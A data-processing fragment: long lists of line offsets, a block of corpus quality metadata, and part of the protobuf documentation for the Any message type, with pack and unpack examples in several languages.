36441,
36442,
36525,
36526,
36536,
36553,
36554,
36583,
36584,
36594,
36611,
36612,
36641,
36642,
36652,
36669,
36731,
36756,
36766,
36780,
36781,
36791,
36809,
36810,
36843,
36844,
36854,
36872,
36873,
36942,
36943,
36953,
36959,
36960,
36978,
36979,
36989,
36999,
37047,
37064,
37074,
37090,
37091,
37147,
37148,
37158,
37170,
37171,
37305,
37306,
37316,
37321,
37322,
37384,
37385,
37395,
37406,
37407,
37434,
37435,
37445,
37457,
37458,
37471,
37472,
37482,
37488,
37489,
37507,
37508,
37518,
37535,
37536,
37546,
37563,
37564,
37590,
37591,
37601,
37618,
37619,
37654,
37655,
37665,
37682,
37683,
37713,
37714,
37724,
37742,
37743,
37847,
37848,
37858,
37873,
37874,
37904,
37905,
37915,
37923,
37924,
37939,
37940,
37950,
37962,
37963,
38017,
38018,
38028,
38049,
38050,
38132,
38133,
38143,
38144,
38145,
38158,
38159,
38184,
38185,
38195,
38213,
38214,
38239,
38240,
38250,
38267,
38268,
38292,
38293,
38303,
38320,
38321,
38368,
38369,
38379,
38395,
38396,
38474,
38475,
38485,
38504,
38505,
38515,
38527,
38540,
38593,
38617,
38627,
38641,
38694,
38751,
38752,
38801,
38811,
38817,
38818,
38828,
38829,
38839,
38856,
38857,
38897,
38898,
38908,
38930,
38931,
38964,
38965,
38975,
38981,
38982,
39004,
39005,
39015,
39022,
39023,
39048,
39049,
39059,
39066,
39067,
39077,
39095,
39171,
39215,
39225,
39233,
39234,
39273,
39274,
39284,
39290,
39291,
39341,
39342,
39352,
39363,
39364,
39381,
39382,
39392,
39403,
39404,
39438,
39439,
39449,
39450,
39451,
39463,
39464,
39476,
39477,
39487,
39493,
39494,
39519,
39520,
39530,
39548,
39549,
39571,
39572,
39582,
39596,
39597,
39622,
39623,
39633,
39640,
39641,
39658,
39659,
39669,
39680,
39724,
39796,
39846,
39856,
39867,
39868,
39947,
39948,
39958,
39973,
39974,
39993,
39994,
40004,
40023,
40024,
40034,
40046,
40047,
40106,
40107,
40117,
40128,
40129,
40160,
40161,
40171,
40196,
40258,
40314,
40331,
40341,
40354,
40355,
40384,
40385,
40395,
40400,
40401,
40411,
40416,
40417,
40521,
40522,
40532,
40546,
40547,
40557,
40571,
40572,
40606,
40607,
40617,
40635,
40636,
40664,
40665,
40675,
40688,
40689,
40703,
40704,
40714,
40731,
40732,
40742,
40759,
40760,
40789,
40790,
40800,
40813,
40814,
40829,
40830,
40840,
40861,
40862,
40935,
40936,
40946,
40977,
41068,
41148,
41226,
41322,
41404,
41414,
41427,
41428,
41448,
41449,
41459,
41471,
41550,
41638,
41689,
41699,
41704,
41705,
41768,
41769,
41779,
41796,
41797,
41827,
41828,
41838,
41854,
41855,
41903,
41904,
41914,
41929,
41930,
41964,
41965,
41975,
41989,
41990,
42085,
42086,
42096,
42113,
42114,
42161,
42162,
42172,
42173,
42174,
42188,
42189,
42231,
42232,
42242,
42261,
42339,
42391,
42401,
42409,
42410,
42420,
42427,
42428,
42497,
42498,
42508,
42515,
42516,
42551,
42552,
42562,
42581,
42582,
42592,
42597,
42598,
42632,
42633,
42643,
42650,
42651,
42671,
42672,
42682,
42694,
42695,
42752,
42753,
42763,
42780,
42781,
42811,
42812,
42822,
42828,
42829,
42847,
42848,
42858,
42866,
42867,
42913,
42914,
42924,
42934,
43013,
43034,
43044,
43049,
43050,
43121,
43122,
43132,
43137,
43138,
43148,
43149,
43159,
43177,
43237,
43300,
43335,
43345,
43351,
43352,
43375,
43376,
43386,
43394,
43395,
43407,
43408,
43418,
43424,
43425,
43447,
43448,
43458,
43465,
43538,
43604,
43613,
43623,
43634,
43635,
43693,
43694,
43704,
43723,
43724,
43734,
43754,
43755,
43799,
43800,
43810,
43815,
43816,
43847,
43848,
43858,
43879,
43972,
44047,
44153,
44163,
44176,
44295,
44320,
44380,
44390,
44407,
44408,
44427,
44428,
44438,
44449,
44450,
44512,
44513,
44523,
44528,
44529,
44581,
44582,
44592,
44597,
44598,
44655,
44656,
44666,
44679,
44680,
44690,
44710,
44797,
44841,
44851,
44863,
44864,
44893,
44894,
44904,
44926,
44927,
44937,
44945,
44946,
44971,
44972,
44982,
44990,
44991,
45030,
45031,
45041,
45048,
45049,
45059,
45078,
45079,
45089,
45116,
45184,
45234,
45287,
45297,
45302,
45303,
45318,
45319,
45329,
45338,
45339,
45391,
45392,
45402,
45407,
45408,
45458,
45459,
45469,
45482,
45483,
45520,
45521,
45531,
45538,
45539,
45555,
45556,
45566,
45580,
45581,
45658,
45659,
45669,
45683,
45684,
45724,
45725,
45735,
45749,
45750,
45846,
45847,
45857,
45868,
45869,
45894,
45895,
45905,
45923,
45924,
46124,
46125,
46135,
46153,
46154,
46179,
46180,
46190,
46208,
46209,
46242,
46243,
46253,
46271,
46272,
46300,
46301,
46311,
46328,
46329,
46344,
46345,
46355,
46368,
46369,
46381,
46382,
46392,
46399,
46400,
46410,
46427,
46428,
46470,
46471,
46481,
46503,
46504,
46522,
46523,
46533,
46555,
46556,
46588,
46589,
46599,
46621,
46622,
46656,
46657,
46667,
46680,
46681,
46744,
46745,
46755,
46768,
46769,
46807,
46808,
46818,
46830,
46831,
46854,
46855,
46865,
46875,
46876,
46903,
46904,
46914,
46931,
46932,
47009,
47010,
47020,
47037,
47038,
47065,
47066,
47076,
47093,
47094,
47131,
47132,
47142,
47159,
47160,
47205,
47206,
47216,
47222,
47223,
47241,
47242,
47252,
47260,
47261,
47299,
47300,
47310,
47334,
47335,
47348,
47349,
47359,
47371,
47404,
47461,
47471,
47476,
47477,
47488,
47489,
47499,
47511,
47512,
47556,
47557,
47567,
47579,
47580,
47649,
47650,
47660,
47677,
47678,
47746,
47747,
47757,
47774,
47775,
47785,
47802,
47803,
47813,
47829,
47830,
47893,
47894,
47904,
47914,
47915,
47946,
47947,
47957,
47972,
47973,
47987,
47988,
47998,
48013,
48014,
48046,
48047,
48057,
48063,
48064,
48074,
48086,
48087,
48128,
48129,
48139,
48145,
48146,
48157,
48158,
48168,
48174,
48175,
48196,
48197,
48207,
48212,
48213,
48223,
48235,
48265,
48308,
48318,
48330,
48360,
48402,
48412,
48424,
48425,
48455,
48456,
48466,
48481,
48482,
48492,
48507,
48508,
48535,
48536,
48546,
48563,
48590,
48645,
48646,
48700,
48710,
48724,
48725,
48748,
48749,
48759,
48773,
48774,
48816,
48817,
48827,
48843,
48908,
48938,
48948,
48967,
48968,
48978,
48991,
48992,
49033,
49034,
49044,
49057,
49058,
49087,
49088,
49098,
49122,
49123,
49181,
49182,
49192,
49216,
49217,
49227,
49232,
49233,
49255,
49256,
49266,
49280,
49281,
49355,
49356,
49366,
49384,
49385,
49420,
49421,
49431,
49449,
49450,
49485,
49486,
49496,
49514,
49515,
49537,
49538,
49548,
49561,
49562,
49573,
49574,
49584,
49592,
49593,
49735,
49736,
49746,
49768,
49769,
49851,
49852,
49862,
49880,
49881,
49951,
49952,
49962,
49975,
49976,
50003,
50004,
50014,
50027,
50028,
50088,
50089,
50099,
50112,
50113,
50132,
50133,
50143,
50160,
50161,
50188,
50189,
50199,
50216,
50287,
50315,
50325,
50342,
50343,
50370,
50371,
50381,
50398,
50399,
50421,
50422,
50432,
50449,
50450,
50553,
50619,
50620,
50630,
50647,
50648,
50686,
50687,
50697,
50714,
50715,
50742,
50743,
50753,
50770,
50771,
50799,
50800,
50810,
50816,
50817,
50867,
50868,
50878,
50884,
50885,
50900,
50901,
50911,
50928,
50929,
50939,
50944,
50945,
50971,
50972,
50982,
50994,
50995,
51014,
51015,
51025,
51041,
51042,
51075,
51076,
51086,
51104,
51105,
51149,
51150,
51160,
51175,
51176,
51218,
51219,
51229,
51234,
51235,
51250,
51251,
51261,
51279,
51280,
51296,
51297,
51307,
51313,
51314,
51360,
51361,
51371,
51372,
51373,
51379,
51380,
51406,
51407,
51417,
51422,
51423,
51455,
51456,
51466,
51479,
51585,
51586,
51643,
51644,
51722,
51732,
51744,
51745,
51786,
51787,
51797,
51807,
51808,
51864,
51865,
51875,
51886,
51887,
51931,
51932,
51942,
51949,
51950,
51980,
51981,
51991,
51997,
51998,
52024,
52025,
52035,
52049,
52050,
52130,
52131,
52165,
52166,
52176,
52187,
52188,
52222,
52223,
52233,
52251,
52252,
52269,
52270,
52280,
52296,
52297,
52307,
52314,
52315,
52330,
52331,
52341,
52352,
52353,
52398,
52399,
52409,
52427,
52428,
52469,
52470,
52480,
52497,
52498,
52545,
52546,
52556,
52562,
52563,
52583,
52584,
52594,
52605,
52606,
52622,
52623,
52633,
52642,
52643,
52676,
52677,
52687,
52697,
52698,
52741,
52742,
52752,
52764,
52765,
52799,
52800,
52810,
52815,
52816,
52837,
52838,
52848,
52854,
52855,
52865,
52876,
52877,
52903,
52904,
52914,
52925,
52926,
53013,
53014,
53024,
53030,
53031,
53081,
53082,
53092,
53098,
53153,
53202,
53212,
53222,
53223,
53250,
53251,
53261,
53270,
53271,
53299,
53300,
53310,
53315,
53375,
53402,
53412,
53418,
53419,
53443,
53444,
53454,
53469,
53470,
53517,
53518,
53528,
53539,
53540,
53578,
53579,
53589,
53599,
53600,
53627,
53628,
53638,
53657,
53658,
53668,
53686,
53687,
53754,
53755,
53765,
53776,
53777,
53804,
53805,
53815,
53825,
53826,
53883,
53884,
53894,
53902,
53903,
53913,
53914,
53924,
53929,
53930,
53940,
53951,
53952,
53986,
53987,
53997,
54011,
54012,
54028,
54029,
54039,
54059,
54060,
54171,
54172,
54182,
54198,
54199,
54257,
54258,
54268,
54290,
54291,
54308,
54309,
54319,
54337,
54338,
54375,
54376,
54386,
54403,
54404,
54438,
54439,
54449,
54467,
54468,
54509,
54510,
54520,
54521,
54522,
54541,
54542,
54552,
54560,
54561,
54591,
54592,
54602,
54610,
54611,
54638,
54639,
54649,
54670,
54671,
54751,
54752,
54762,
54773,
54774,
54820,
54821,
54831,
54845,
54893,
54955,
54983,
55023,
55064,
55135,
55175,
55210,
55281,
55308,
55309,
55319,
55324,
55325,
55350,
55351,
55361,
55370,
55371,
55394,
55395,
55405,
55410,
55411,
55439,
55440,
55450,
55456,
55457,
55481,
55482,
55492,
55493,
55508,
55509,
55589,
55590
],
"line_end_idx": [
9,
10,
47,
80,
81,
114,
115,
116,
334,
482,
534,
535,
551,
552,
671,
770,
809,
810,
823,
824,
904,
995,
1075,
1138,
1357,
1382,
1447,
1668,
1693,
1759,
1980,
2005,
2064,
2397,
2422,
2475,
2748,
2773,
2824,
2955,
2980,
3057,
3290,
3315,
3371,
3460,
3485,
3713,
4147,
4209,
4938,
4963,
5045,
5219,
5244,
5331,
5522,
5547,
5623,
6008,
6033,
6079,
6119,
6544,
7007,
7670,
7784,
7828,
8223,
8276,
8323,
8367,
8727,
8751,
8795,
9155,
9179,
9248,
9680,
9703,
9756,
9813,
9837,
9895,
10543,
10566,
10609,
10969,
10993,
11027,
11028,
11061,
11115,
11221,
11245,
11473,
11540,
11666,
11690,
11769,
12336,
12359,
12439,
13560,
13583,
13633,
14033,
14056,
14130,
15671,
15694,
15770,
16331,
16354,
16412,
16832,
16855,
16923,
17380,
17403,
17450,
18166,
18518,
18811,
18841,
18842,
18886,
19309,
19655,
19682,
19683,
19727,
19786,
19862,
19882,
19898,
19950,
19951,
19995,
20039,
20040,
20088,
20174,
20499,
20574,
20654,
20751,
20831,
21088,
21164,
21972,
22001,
22063,
22685,
22710,
22773,
22834,
22982,
23007,
23106,
23327,
23356,
23419,
24826,
24855,
24990,
25472,
25501,
25569,
27794,
27823,
27901,
28745,
28774,
28849,
29051,
29080,
29160,
29962,
29969,
29970,
29998,
29999,
30000,
30037,
30038,
30049,
30050,
30079,
30080,
30090,
30103,
30104,
30155,
30156,
30166,
30175,
30176,
30186,
30205,
30206,
30216,
30236,
30237,
30247,
30252,
30253,
30277,
30278,
30288,
30289,
30290,
30304,
30352,
30416,
30426,
30432,
30433,
30456,
30457,
30467,
30475,
30476,
30551,
30552,
30562,
30580,
30581,
30647,
30648,
30658,
30677,
30678,
30688,
30705,
30706,
30737,
30738,
30748,
30754,
30755,
30783,
30784,
30794,
30799,
30800,
30814,
30815,
30825,
30838,
30839,
30911,
30912,
30922,
30928,
30929,
30939,
30940,
30950,
30958,
30959,
30979,
30980,
30990,
31010,
31066,
31171,
31272,
31286,
31296,
31308,
31309,
31340,
31341,
31351,
31361,
31362,
31390,
31391,
31401,
31418,
31419,
31460,
31461,
31471,
31484,
31485,
31500,
31501,
31511,
31529,
31530,
31546,
31547,
31557,
31563,
31564,
31582,
31583,
31593,
31604,
31605,
31626,
31627,
31637,
31647,
31705,
31706,
31782,
31783,
31886,
31986,
32086,
32191,
32296,
32396,
32406,
32416,
32417,
32442,
32443,
32453,
32462,
32463,
32495,
32496,
32506,
32518,
32519,
32544,
32545,
32555,
32556,
32557,
32563,
32564,
32621,
32622,
32632,
32651,
32652,
32662,
32667,
32668,
32715,
32716,
32726,
32733,
32734,
32801,
32802,
32812,
32818,
32819,
32836,
32837,
32847,
32852,
32853,
32929,
32930,
32940,
32954,
32955,
32981,
32982,
32992,
33003,
33004,
33030,
33031,
33041,
33052,
33053,
33090,
33091,
33101,
33111,
33185,
33245,
33314,
33356,
33366,
33376,
33377,
33416,
33417,
33427,
33440,
33522,
33544,
33554,
33560,
33561,
33594,
33595,
33605,
33617,
33618,
33663,
33664,
33674,
33690,
33691,
33708,
33709,
33719,
33729,
33730,
33770,
33771,
33781,
33788,
33789,
33835,
33836,
33846,
33853,
33854,
33932,
33933,
33943,
33951,
34010,
34088,
34130,
34140,
34146,
34147,
34165,
34166,
34176,
34182,
34183,
34235,
34236,
34246,
34259,
34260,
34462,
34463,
34473,
34483,
34484,
34511,
34512,
34522,
34530,
34531,
34590,
34591,
34601,
34606,
34607,
34670,
34671,
34681,
34687,
34688,
34699,
34700,
34710,
34716,
34717,
34736,
34737,
34747,
34752,
34753,
34796,
34797,
34807,
34813,
34814,
34824,
34843,
34844,
34905,
34906,
34916,
34931,
34932,
34942,
34949,
34950,
34999,
35000,
35010,
35019,
35020,
35040,
35041,
35051,
35062,
35063,
35099,
35100,
35110,
35128,
35163,
35218,
35263,
35301,
35320,
35337,
35369,
35410,
35426,
35436,
35456,
35457,
35500,
35501,
35511,
35524,
35559,
35589,
35599,
35614,
35615,
35650,
35651,
35661,
35668,
35669,
35674,
35675,
35685,
35692,
35693,
35711,
35712,
35722,
35741,
35742,
35752,
35762,
35763,
35773,
35779,
35780,
35807,
35808,
35818,
35824,
35825,
35839,
35840,
35850,
35855,
35856,
35866,
35871,
35872,
35898,
35899,
35909,
35926,
35927,
35968,
35969,
35979,
35993,
35994,
36035,
36036,
36046,
36062,
36063,
36121,
36122,
36132,
36139,
36140,
36150,
36154,
36155,
36207,
36208,
36218,
36237,
36238,
36329,
36330,
36340,
36353,
36354,
36422,
36423,
36433,
36441,
36442,
36525,
36526,
36536,
36553,
36554,
36583,
36584,
36594,
36611,
36612,
36641,
36642,
36652,
36669,
36731,
36756,
36766,
36780,
36781,
36791,
36809,
36810,
36843,
36844,
36854,
36872,
36873,
36942,
36943,
36953,
36959,
36960,
36978,
36979,
36989,
36999,
37047,
37064,
37074,
37090,
37091,
37147,
37148,
37158,
37170,
37171,
37305,
37306,
37316,
37321,
37322,
37384,
37385,
37395,
37406,
37407,
37434,
37435,
37445,
37457,
37458,
37471,
37472,
37482,
37488,
37489,
37507,
37508,
37518,
37535,
37536,
37546,
37563,
37564,
37590,
37591,
37601,
37618,
37619,
37654,
37655,
37665,
37682,
37683,
37713,
37714,
37724,
37742,
37743,
37847,
37848,
37858,
37873,
37874,
37904,
37905,
37915,
37923,
37924,
37939,
37940,
37950,
37962,
37963,
38017,
38018,
38028,
38049,
38050,
38132,
38133,
38143,
38144,
38145,
38158,
38159,
38184,
38185,
38195,
38213,
38214,
38239,
38240,
38250,
38267,
38268,
38292,
38293,
38303,
38320,
38321,
38368,
38369,
38379,
38395,
38396,
38474,
38475,
38485,
38504,
38505,
38515,
38527,
38540,
38593,
38617,
38627,
38641,
38694,
38751,
38752,
38801,
38811,
38817,
38818,
38828,
38829,
38839,
38856,
38857,
38897,
38898,
38908,
38930,
38931,
38964,
38965,
38975,
38981,
38982,
39004,
39005,
39015,
39022,
39023,
39048,
39049,
39059,
39066,
39067,
39077,
39095,
39171,
39215,
39225,
39233,
39234,
39273,
39274,
39284,
39290,
39291,
39341,
39342,
39352,
39363,
39364,
39381,
39382,
39392,
39403,
39404,
39438,
39439,
39449,
39450,
39451,
39463,
39464,
39476,
39477,
39487,
39493,
39494,
39519,
39520,
39530,
39548,
39549,
39571,
39572,
39582,
39596,
39597,
39622,
39623,
39633,
39640,
39641,
39658,
39659,
39669,
39680,
39724,
39796,
39846,
39856,
39867,
39868,
39947,
39948,
39958,
39973,
39974,
39993,
39994,
40004,
40023,
40024,
40034,
40046,
40047,
40106,
40107,
40117,
40128,
40129,
40160,
40161,
40171,
40196,
40258,
40314,
40331,
40341,
40354,
40355,
40384,
40385,
40395,
40400,
40401,
40411,
40416,
40417,
40521,
40522,
40532,
40546,
40547,
40557,
40571,
40572,
40606,
40607,
40617,
40635,
40636,
40664,
40665,
40675,
40688,
40689,
40703,
40704,
40714,
40731,
40732,
40742,
40759,
40760,
40789,
40790,
40800,
40813,
40814,
40829,
40830,
40840,
40861,
40862,
40935,
40936,
40946,
40977,
41068,
41148,
41226,
41322,
41404,
41414,
41427,
41428,
41448,
41449,
41459,
41471,
41550,
41638,
41689,
41699,
41704,
41705,
41768,
41769,
41779,
41796,
41797,
41827,
41828,
41838,
41854,
41855,
41903,
41904,
41914,
41929,
41930,
41964,
41965,
41975,
41989,
41990,
42085,
42086,
42096,
42113,
42114,
42161,
42162,
42172,
42173,
42174,
42188,
42189,
42231,
42232,
42242,
42261,
42339,
42391,
42401,
42409,
42410,
42420,
42427,
42428,
42497,
42498,
42508,
42515,
42516,
42551,
42552,
42562,
42581,
42582,
42592,
42597,
42598,
42632,
42633,
42643,
42650,
42651,
42671,
42672,
42682,
42694,
42695,
42752,
42753,
42763,
42780,
42781,
42811,
42812,
42822,
42828,
42829,
42847,
42848,
42858,
42866,
42867,
42913,
42914,
42924,
42934,
43013,
43034,
43044,
43049,
43050,
43121,
43122,
43132,
43137,
43138,
43148,
43149,
43159,
43177,
43237,
43300,
43335,
43345,
43351,
43352,
43375,
43376,
43386,
43394,
43395,
43407,
43408,
43418,
43424,
43425,
43447,
43448,
43458,
43465,
43538,
43604,
43613,
43623,
43634,
43635,
43693,
43694,
43704,
43723,
43724,
43734,
43754,
43755,
43799,
43800,
43810,
43815,
43816,
43847,
43848,
43858,
43879,
43972,
44047,
44153,
44163,
44176,
44295,
44320,
44380,
44390,
44407,
44408,
44427,
44428,
44438,
44449,
44450,
44512,
44513,
44523,
44528,
44529,
44581,
44582,
44592,
44597,
44598,
44655,
44656,
44666,
44679,
44680,
44690,
44710,
44797,
44841,
44851,
44863,
44864,
44893,
44894,
44904,
44926,
44927,
44937,
44945,
44946,
44971,
44972,
44982,
44990,
44991,
45030,
45031,
45041,
45048,
45049,
45059,
45078,
45079,
45089,
45116,
45184,
45234,
45287,
45297,
45302,
45303,
45318,
45319,
45329,
45338,
45339,
45391,
45392,
45402,
45407,
45408,
45458,
45459,
45469,
45482,
45483,
45520,
45521,
45531,
45538,
45539,
45555,
45556,
45566,
45580,
45581,
45658,
45659,
45669,
45683,
45684,
45724,
45725,
45735,
45749,
45750,
45846,
45847,
45857,
45868,
45869,
45894,
45895,
45905,
45923,
45924,
46124,
46125,
46135,
46153,
46154,
46179,
46180,
46190,
46208,
46209,
46242,
46243,
46253,
46271,
46272,
46300,
46301,
46311,
46328,
46329,
46344,
46345,
46355,
46368,
46369,
46381,
46382,
46392,
46399,
46400,
46410,
46427,
46428,
46470,
46471,
46481,
46503,
46504,
46522,
46523,
46533,
46555,
46556,
46588,
46589,
46599,
46621,
46622,
46656,
46657,
46667,
46680,
46681,
46744,
46745,
46755,
46768,
46769,
46807,
46808,
46818,
46830,
46831,
46854,
46855,
46865,
46875,
46876,
46903,
46904,
46914,
46931,
46932,
47009,
47010,
47020,
47037,
47038,
47065,
47066,
47076,
47093,
47094,
47131,
47132,
47142,
47159,
47160,
47205,
47206,
47216,
47222,
47223,
47241,
47242,
47252,
47260,
47261,
47299,
47300,
47310,
47334,
47335,
47348,
47349,
47359,
47371,
47404,
47461,
47471,
47476,
47477,
47488,
47489,
47499,
47511,
47512,
47556,
47557,
47567,
47579,
47580,
47649,
47650,
47660,
47677,
47678,
47746,
47747,
47757,
47774,
47775,
47785,
47802,
47803,
47813,
47829,
47830,
47893,
47894,
47904,
47914,
47915,
47946,
47947,
47957,
47972,
47973,
47987,
47988,
47998,
48013,
48014,
48046,
48047,
48057,
48063,
48064,
48074,
48086,
48087,
48128,
48129,
48139,
48145,
48146,
48157,
48158,
48168,
48174,
48175,
48196,
48197,
48207,
48212,
48213,
48223,
48235,
48265,
48308,
48318,
48330,
48360,
48402,
48412,
48424,
48425,
48455,
48456,
48466,
48481,
48482,
48492,
48507,
48508,
48535,
48536,
48546,
48563,
48590,
48645,
48646,
48700,
48710,
48724,
48725,
48748,
48749,
48759,
48773,
48774,
48816,
48817,
48827,
48843,
48908,
48938,
48948,
48967,
48968,
48978,
48991,
48992,
49033,
49034,
49044,
49057,
49058,
49087,
49088,
49098,
49122,
49123,
49181,
49182,
49192,
49216,
49217,
49227,
49232,
49233,
49255,
49256,
49266,
49280,
49281,
49355,
49356,
49366,
49384,
49385,
49420,
49421,
49431,
49449,
49450,
49485,
49486,
49496,
49514,
49515,
49537,
49538,
49548,
49561,
49562,
49573,
49574,
49584,
49592,
49593,
49735,
49736,
49746,
49768,
49769,
49851,
49852,
49862,
49880,
49881,
49951,
49952,
49962,
49975,
49976,
50003,
50004,
50014,
50027,
50028,
50088,
50089,
50099,
50112,
50113,
50132,
50133,
50143,
50160,
50161,
50188,
50189,
50199,
50216,
50287,
50315,
50325,
50342,
50343,
50370,
50371,
50381,
50398,
50399,
50421,
50422,
50432,
50449,
50450,
50553,
50619,
50620,
50630,
50647,
50648,
50686,
50687,
50697,
50714,
50715,
50742,
50743,
50753,
50770,
50771,
50799,
50800,
50810,
50816,
50817,
50867,
50868,
50878,
50884,
50885,
50900,
50901,
50911,
50928,
50929,
50939,
50944,
50945,
50971,
50972,
50982,
50994,
50995,
51014,
51015,
51025,
51041,
51042,
51075,
51076,
51086,
51104,
51105,
51149,
51150,
51160,
51175,
51176,
51218,
51219,
51229,
51234,
51235,
51250,
51251,
51261,
51279,
51280,
51296,
51297,
51307,
51313,
51314,
51360,
51361,
51371,
51372,
51373,
51379,
51380,
51406,
51407,
51417,
51422,
51423,
51455,
51456,
51466,
51479,
51585,
51586,
51643,
51644,
51722,
51732,
51744,
51745,
51786,
51787,
51797,
51807,
51808,
51864,
51865,
51875,
51886,
51887,
51931,
51932,
51942,
51949,
51950,
51980,
51981,
51991,
51997,
51998,
52024,
52025,
52035,
52049,
52050,
52130,
52131,
52165,
52166,
52176,
52187,
52188,
52222,
52223,
52233,
52251,
52252,
52269,
52270,
52280,
52296,
52297,
52307,
52314,
52315,
52330,
52331,
52341,
52352,
52353,
52398,
52399,
52409,
52427,
52428,
52469,
52470,
52480,
52497,
52498,
52545,
52546,
52556,
52562,
52563,
52583,
52584,
52594,
52605,
52606,
52622,
52623,
52633,
52642,
52643,
52676,
52677,
52687,
52697,
52698,
52741,
52742,
52752,
52764,
52765,
52799,
52800,
52810,
52815,
52816,
52837,
52838,
52848,
52854,
52855,
52865,
52876,
52877,
52903,
52904,
52914,
52925,
52926,
53013,
53014,
53024,
53030,
53031,
53081,
53082,
53092,
53098,
53153,
53202,
53212,
53222,
53223,
53250,
53251,
53261,
53270,
53271,
53299,
53300,
53310,
53315,
53375,
53402,
53412,
53418,
53419,
53443,
53444,
53454,
53469,
53470,
53517,
53518,
53528,
53539,
53540,
53578,
53579,
53589,
53599,
53600,
53627,
53628,
53638,
53657,
53658,
53668,
53686,
53687,
53754,
53755,
53765,
53776,
53777,
53804,
53805,
53815,
53825,
53826,
53883,
53884,
53894,
53902,
53903,
53913,
53914,
53924,
53929,
53930,
53940,
53951,
53952,
53986,
53987,
53997,
54011,
54012,
54028,
54029,
54039,
54059,
54060,
54171,
54172,
54182,
54198,
54199,
54257,
54258,
54268,
54290,
54291,
54308,
54309,
54319,
54337,
54338,
54375,
54376,
54386,
54403,
54404,
54438,
54439,
54449,
54467,
54468,
54509,
54510,
54520,
54521,
54522,
54541,
54542,
54552,
54560,
54561,
54591,
54592,
54602,
54610,
54611,
54638,
54639,
54649,
54670,
54671,
54751,
54752,
54762,
54773,
54774,
54820,
54821,
54831,
54845,
54893,
54955,
54983,
55023,
55064,
55135,
55175,
55210,
55281,
55308,
55309,
55319,
55324,
55325,
55350,
55351,
55361,
55370,
55371,
55394,
55395,
55405,
55410,
55411,
55439,
55440,
55450,
55456,
55457,
55481,
55482,
55492,
55493,
55508,
55509,
55589,
55590,
55863
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 55863,
"ccnet_original_nlines": 1871,
"rps_doc_curly_bracket": 0.000035799999750452116,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2683311998844147,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.024375800043344498,
"rps_doc_frac_lines_end_with_ellipsis": 0.0010683799628168344,
"rps_doc_frac_no_alph_words": 0.19628934562206268,
"rps_doc_frac_unique_words": 0.27306896448135376,
"rps_doc_mean_word_length": 5.879601001739502,
"rps_doc_num_sentences": 687,
"rps_doc_symbol_to_word_ratio": 0.0009868700290098786,
"rps_doc_unigram_entropy": 6.484107971191406,
"rps_doc_word_count": 7716,
"rps_doc_frac_chars_dupe_10grams": 0.10276191681623459,
"rps_doc_frac_chars_dupe_5grams": 0.14179910719394684,
"rps_doc_frac_chars_dupe_6grams": 0.12357000261545181,
"rps_doc_frac_chars_dupe_7grams": 0.10941874235868454,
"rps_doc_frac_chars_dupe_8grams": 0.10831662267446518,
"rps_doc_frac_chars_dupe_9grams": 0.10452532023191452,
"rps_doc_frac_chars_top_2gram": 0.004408489912748337,
"rps_doc_frac_chars_top_3gram": 0.006789079867303371,
"rps_doc_frac_chars_top_4gram": 0.00352679006755352,
"rps_doc_books_importance": -4012.40771484375,
"rps_doc_books_importance_length_correction": -4012.40771484375,
"rps_doc_openwebtext_importance": -2941.52880859375,
"rps_doc_openwebtext_importance_length_correction": -2941.52880859375,
"rps_doc_wikipedia_importance": -1921.798583984375,
"rps_doc_wikipedia_importance_length_correction": -1921.798583984375
},
"fasttext": {
"dclm": 0.021247509866952896,
"english": 0.7554760575294495,
"fineweb_edu_approx": 1.9023096561431885,
"eai_general_math": 0.4532473087310791,
"eai_open_web_math": 0.28373467922210693,
"eai_web_code": 0.7478349208831787
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "6",
"label": "Content Listing"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-7,512,380,111,354,076,000 |
Any contains an arbitrary serialized protocol buffer message along with a
URL that describes the type of the serialized message.
Protobuf library provides support to pack/unpack Any values in the form
of utility functions or additional generated methods of the Any type.
Example 1: Pack and unpack a message in C++.
Foo foo = ...;
Any any;
any.PackFrom(foo);
...
if (any.UnpackTo(&foo)) {
...
}
Example 2: Pack and unpack a message in Java.
Foo foo = ...;
Any any = Any.pack(foo);
...
if (any.is(Foo.class)) {
foo = any.unpack(Foo.class);
}
Example 3: Pack and unpack a message in Python.
foo = Foo(...)
any = Any()
any.Pack(foo)
...
if any.Is(Foo.DESCRIPTOR):
any.Unpack(foo)
...
Example 4: Pack and unpack a message in Go
foo := &pb.Foo{...}
any, err := ptypes.MarshalAny(foo)
...
foo := &pb.Foo}
if err := ptypes.UnmarshalAny(any, foo); err != nil {
...
}
The pack methods provided by protobuf library will by default use
'type.googleapis.com/full.type.name' as the type URL and the unpack
methods only use the fully qualified type name after the last '/'
in the type URL, for example "foo.bar.com/x/y.z" will yield type
name "y.z".
JSON
The JSON representation of an Any value uses the regular
representation of the deserialized, embedded message, with an
additional field @type which contains the type URL. Example:
package google.profile;
message Person {
string first_name = 1;
string last_name = 2;
}
{
